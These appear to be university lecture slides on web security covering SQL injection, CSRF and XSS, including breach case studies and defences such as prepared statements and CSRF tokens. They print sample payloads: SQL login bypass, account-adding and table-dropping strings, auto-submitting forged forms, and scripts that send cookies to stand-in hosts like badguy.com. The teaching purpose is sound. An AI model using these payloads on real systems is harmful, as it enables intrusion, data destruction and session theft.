Web Security Part 3

CS642:
Computer Security

Liberal borrowing from Mitchell, Boneh, Stanford CS 155

Web security part 2

SQL injection

Cross-site scripting attacks

Cross-site request forgery

SQL



Basic SQL commands:

SELECT Company, Country FROM Customers WHERE Country <> 'USA'

DROP TABLE Customers

more: http://www.w3schools.com/sql/sql_syntax.asp

SQL



PHP-based SQL:

```
$recipient = $_POST[‘recipient’];
$sql = "SELECT PersonID FROM Person
                WHERE Username='$recipient'";
$rs = $db->executeQuery($sql);
```

ASP example

```
set ok = execute( "SELECT * FROM Users
      WHERE user=' "  &  form("user")  & " '
   AND   pwd=' " & form("pwd") & " '" );

if not ok.EOF
      login success
else  fail;
```

What the developer expected to be sent to SQL:

SELECT * FROM Users WHERE user='me' AND pwd='1234'

```
set ok = execute( "SELECT * FROM Users
      WHERE user=' "  &  form("user")  & " '
   AND   pwd=' " & form("pwd") & " '" );

if not ok.EOF
      login success
else  fail;
```

Input: user= " ' OR 1=1 -- " (URL encoded)

-- tells SQL to ignore rest of line

SELECT * FROM Users WHERE user=' ' OR 1=1 -- ' AND …

Result: ok.EOF false, so easy login

```
set ok = execute( "SELECT * FROM Users
      WHERE user=' "  &  form("user")  & " '
   AND   pwd=' " & form("pwd") & " '" );

if not ok.EOF
      login success
else  fail;
```

Input: user= " ' ; exec cmdshell
'net user badguy badpw /add' "

SELECT * FROM Users WHERE user=' ' ; exec …

Result: If SQL database running with correct permissions, then attacker gets account on database server.
(net command is Windows)

```
set ok = execute( "SELECT * FROM Users
      WHERE user=' "  &  form("user")  & " '
   AND   pwd=' " & form("pwd") & " '" );

if not ok.EOF
      login success
else  fail;
```

Input: user= " ' ; DROP TABLE Users " (URL encoded)

SELECT * FROM Users WHERE user=' ' ; DROP TABLE Users --

…

Result: Bye-bye customer information



http://xkcd.com/327/

CardSystems breach 2005

~43 million cards stolen

No encryption of CCN's

Visa/Mastercard stopped allowing them to process cards.

"They used a **SQL injection attack**, where a small snippet of code is inserted onto the database through the front end (browser page). Once inserted onto the server the code ran every four days. It gathered credit card data from the database, put it in a file (zipped to reduce size) and sent it to the hackers via FTP."
From: https://wizzley.com/cardsystems-data-breach-case/

They got bought out by Pay by Touch in 2005 (probably cheap!)
Pay By Touch shut down in 2008 (whoops)

Lady Gaga's website

On June 27, 2011, **Lady Gaga's website was hacked** by a group of US cyber attackers called SwagSec and thousands of her fans' personal details were stolen from her website. The hackers took a content database dump from www.ladygaga.co.uk and a section of email, first name, and last name records were accessed.[43] According to an Imperva blog about the incident, **a SQL injection vulnerability** for her website was recently posted on a hacker forum website, where a user revealed the vulnerability to the rest of the hacker community. While no financial records were compromised, the blog implies that Lady Gaga fans are most likely receiving fraudulent email messages offering exclusive Lady Gaga merchandise, but instead contain malware.[44]

http://en.wikipedia.org/wiki/Sql_injection_attack
Many more examples

Preventing SQL injection

- Don’t build commands yourself
- Parameterized/prepared SQL commands
  - Not just string concatenation
  - ASP 1.1 example

```
SqlCommand cmd = new SqlCommand(
   "SELECT * FROM UserTable WHERE
   username = @User AND
   password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request[“user”] );

cmd.Parameters.Add("@Pwd", Request[“pwd”] );

cmd.ExecuteReader();
```

Cross-site request forgery (CSRF / XSRF)



What can be done by attacker?

- Definition:
  - In a cross-site request forgery (CSRF) attack, the attacker disrupts the integrity of the user's session with a web site by injecting network requests via the user's browser
- Connect to servers behind firewall
  - Controls script code run, what is fetched
- Connect to servers
  - Using victim's cookies – reading browser state
  - Using attackers credentials from victim browser – writing browser state

How can this be done?

- Convince victim to visit attacker.com
  - Control complete web page
- Post to public forum
  - Include images may be requests to other sites, coming from visitors to forum
  - HTML email – if user views images
- Network attacker
  - Reroute unsecured traffic to attacker server

How CSRF works

- User's browser logged in to bank
- User's browser visits site containing:

```
<form  name=F  action=http://bank.com/BillPay.php>
   <input  name=recipient   value=badguy> …
</form>
<script> document.F.submit(); </script>
```

- Browser sends Auth cookie to bank. Why?
  - Cookie scoping rules

Form post with cookie



Login CSRF


Victim Browser
www.attacker.com
www.google.com
GET /blog HTTP/1.1
<form action=https://www.google.com/login
method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit()</script>
POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy
HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34
GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

CSRF Defenses

- Secret Validation Token


```
<input type=hidden value=23a3af01b>
```

- Referer Validation


```
Referer:
http://www.facebook.com/home.php
```

- Custom HTTP Header

```
X-Requested-By: XMLHttpRequest
```

Secret validation tokens

- Include field with large random value or HMAC of a hidden value

```
'><input name="authenticity_token" type="hidden" value="0114d5b35744b522af8643921bd5a3d899e7fbd2" /></d
images/logo.jpg" width='110'></div>
```

- Goal: Attacker can't forge token, server validates it
  - Why can't another site read the token value?

Same origin policy

Referrer validation



Referrer validation

- Check referrer:
  - Referrer = bank.com is ok
  - Referrer = attacker.com is NOT ok
  - Referrer = ???
- Lenient policy : allow if not present
- Strict policy : disallow if not present
  - more secure, but kills functionality

Referrer validation

- Referrer's often stripped, since they may leak information!
  - HTTPS to HTTP referrer is stripped
  - Clients may strip referrers
  - Network stripping of referrers (by organization)
- Bugs in early browsers allowed Referrer spoofing

Custom headers

- Use XMLHttpRequest for all (important) requests
  - API for performing requests from within scripts
- Google Web Toolkit:
  - X-XSRF-Cookie header includes cookie as well
- Server verifies presence of header, otherwise reject
  - Proves referrer had access to cookie

- Doesn’t work across domains
- Requires all calls via XMLHttpRequest with authentication data
  - E.g.: Login CSRF means login happens over XMLHttpRequest

Cross-site scripting (XSS)

- Site A tricks client into running script that abuses honest site B
  - Reflected (non-persistent) attacks
    - (e.g., links on malicious web pages)
  - Stored (persistent) attacks
    - (e.g., Web forms with HTML)

Basic scenario: reflected XSS attack



Example

http://victim.com/search.php ? term = apple

```
<HTML>    <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY>   </HTML>
```

```
http://victim.com/search.php ? term =
        <script> window.open(
            "http://badguy.com?cookie = " +
            document.cookie )  </script>
```

Attack Server

```
http://victim.com/search.php ? term =
        <script> window.open(
            "http://badguy.com?cookie = " +
            document.cookie )  </script>
```

Link clicked

Victim Server

```
<html>
Results for
  <script>
  window.open(http://attacker.com?
  ... document.cookie ...)
  </script>
</html>
```

Stored XSS


Attack Server
4 steal valuable data
1
Inject malicious script
2 request content
3 receive malicious script
User Victim
Server Victim

Example of stored XSS

- Comments on blog:
  - Great price for a great item! Read my review here <script src="http://hackersite.com/authstealer.js"> </script>.
  - From this point on, every time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site, and has the ability to steal visitors' session cookies.
- A stored attack only requires that the victim visit the compromised web page

Defending against XSS

- Input validation
  - Never trust client-side data
  - Only allow what you expect
  - Remove/encode special characters (harder than it sounds)
- Output filtering / encoding
  - Remove/encode special characters
  - Allow only “safe” commands
- Client side defenses, HTTPOnly cookies, Taint mode (Perl), Static analysis of server code …

Top vulnerabilities

- SQL injection
- Cross-site request forgery (CSRF or XSRF)
- Cross-site scripting (XSS)